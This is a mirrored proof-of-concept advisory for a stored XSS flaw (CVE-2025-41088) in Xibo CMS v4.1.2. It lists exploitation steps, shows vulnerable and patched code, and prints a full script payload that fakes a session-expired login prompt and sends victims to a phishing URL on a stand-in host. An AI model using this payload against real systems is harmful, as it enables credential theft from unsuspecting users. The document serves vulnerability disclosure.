支持本站 — 捐款将帮助我们持续运营

目标: 1000 元,已筹: 1000

100.0%

POC详情: a418cf84732d89d3d1fa414517daca24a91ac253

来源
关联漏洞
标题:Xibo CMS 跨站脚本漏洞 (CVE-2025-41088)
Description:Xibo CMS是Xibo Digital Signage开源的一个内容管理系统。 Xibo CMS v4.1.2版本存在跨站脚本漏洞,该漏洞源于缺少对用户输入的适当验证,可能导致存储型跨站脚本攻击。
Description
Stored Cross-Site Scripting (XSS) in Xibo Signage's Xibo CMS v4.1.2, due to a lack of proper validation of user input.
介绍
# CVE-2025-41088: Stored XSS in Xibo CMS

I have discovered a **Stored Cross-Site Scripting (XSS)** vulnerability in **Xibo CMS v4.1.2**. This vulnerability allows an authenticated attacker to inject malicious scripts into the application due to improper validation of user-supplied input.

The issue resides in the 'Templates' feature. An attacker can craft a template containing a text element with a malicious payload. When this template is viewed by other users, the script executes in their browser, potentially leading to data theft or other malicious actions.

---

## Proof of Concept (PoC)

To exploit the vulnerability, an authenticated user must follow these steps:

1.  Navigate to the **Design > Templates** section and create a new template.
2.  Go to the **Global Elements** section and add a new text element.
3.  In the **Text** field of the editor, insert the malicious XSS payload (e.g., `<script>alert(1337)</script>`).
4.  Save the element. The payload is now stored on the server.
5.  The script will execute every time a user's browser renders the compromised element.

---

## Vulnerable Code

This section contains the specific code snippet from Xibo CMS v4.1.2 that fails to sanitize the input for the 'Text' field.



            'extends' => [
                'override' => $moduleTemplate->extends?->override,
                'with' => $moduleTemplate->extends?->with,
                'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
            ],
        ];
    } else if ($extension !== null) {
    
In another line of the same document.

            'extends' => [
                'override' => $moduleTemplate->extends?->override,
                'with' => $moduleTemplate->extends?->with,
                'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
            ],
        ];


In another document.

        // Escape HTML
        convertedProperties.escapeHtml = template?.extends?.escapeHtml;
        // Compile hbs template with data
        let hbsHtml = hbsTemplate(convertedProperties);

        
---

## Fixed Code

This section showcases the patched code, which includes proper input sanitization and output encoding mechanisms to neutralize malicious scripts.

                    'extends' => [
                        'override' => $moduleTemplate->extends?->override,
                        'with' => $moduleTemplate->extends?->with,
                        'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                            $moduleTemplate->extends->escapeHtml : 1,
                    ],
                ];
            } else if ($extension !== null) {
In another line of the same document.

                    'extends' => [
                        'override' => $moduleTemplate->extends?->override,
                        'with' => $moduleTemplate->extends?->with,
                        'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                            $moduleTemplate->extends->escapeHtml : 1,
                    ],
                ];

In another document.

        // Escape HTML
        convertedProperties.escapeHtml =
          (template?.extends?.escapeHtml === undefined) ?
            true : template.extends.escapeHtml;


        // Compile hbs template with data
        let hbsHtml = hbsTemplate(convertedProperties);
     
---

## Exploitation

The stored payload is executed in the context of the victim's browser, which can be leveraged to steal sensitive information like passwords.

**1. Injecting the Payload:** The attacker inserts the malicious script into a text element within a template.

<img width="1919" height="910" alt="Script_Location" src="https://github.com/user-attachments/assets/7c8b3036-8cb1-40b0-964c-60a3fa38f46d" />


The script I used is the following one:

```

<script>
(function() {
    // --- MAIN FUNCTION ---
    function showRedirectModal() {
        // 1. Create the elements
        const overlay = document.createElement('div');
        const modalContainer = document.createElement('div');
        const title = document.createElement('h2');
        const message = document.createElement('p');
        const redirectButton = document.createElement('button');

        // 2. Assign styles and properties
        // Style for the dark overlay
        Object.assign(overlay.style, {
            position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
            backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
            display: 'flex', justifyContent: 'center', alignItems: 'center'
        });

        // Style for the modal container 
        Object.assign(modalContainer.style, {
            padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
            boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
            fontFamily: 'Arial, sans-serif'
        });

        // Style for the title
        title.textContent = 'Session Expired';
        Object.assign(title.style, {
            textAlign: 'center', color: '#333', marginBottom: '15px' 
        });

        message.textContent = 'Your session has expired. Please log in again to continue.';
        Object.assign(message.style, {
            textAlign: 'center',
            color: '#555',
            marginBottom: '25px',
            lineHeight: '1.5',
            fontSize: '16px'
        });

        // Style for the redirect button
        Object.assign(redirectButton.style, {
            width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
            backgroundColor: '#007bff', color: 'white', fontSize: '16px',
            cursor: 'pointer'
        });
        redirectButton.textContent = 'Log In Again'; 

        // 3. Assemble the modal structure
        modalContainer.appendChild(title);
        modalContainer.appendChild(message);
        modalContainer.appendChild(redirectButton);
        overlay.appendChild(modalContainer);

        // 4. Add the modal to the page
        document.body.appendChild(overlay);

        // 5. Define the button's behavior 
        redirectButton.addEventListener('click', function(e) {
            e.preventDefault(); // Buena práctica

            const phishingURL = 'http://my-website-example.com/login.html'; 

            window.location.href = phishingURL;
            
            document.body.removeChild(overlay);
        });
    }

    // --- Initialize the function ---
    showRedirectModal();

})();
</script>
```

**2. Attack Scenario:** A common attack simulates a session expiration to capture user credentials. The script hijacks the page and presents this pop up to the victim.

<img width="1281" height="810" alt="image" src="https://github.com/user-attachments/assets/d9085ddf-aaca-4fae-9014-9bd8375f00bf" />



---

## References

-   **INCIBE-CERT (Spanish):** [Múltiples vulnerabilidades en Xibo CMS](https://www.incibe.es/incibe-cert/alerta-temprana/avisos/multiples-vulnerabilidades-en-xibo-cms)
-   **INCIBE-CERT (English):** [Multiple vulnerabilities in Xibo CMS](https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-xibo-cms)

---

## Disclaimer

This information is provided for educational and research purposes only. I am NOT responsible for any misuse or damage caused by this information.
文件快照

[4.0K] /data/pocs/a418cf84732d89d3d1fa414517daca24a91ac253 └── [7.1K] README.md 1 directory, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。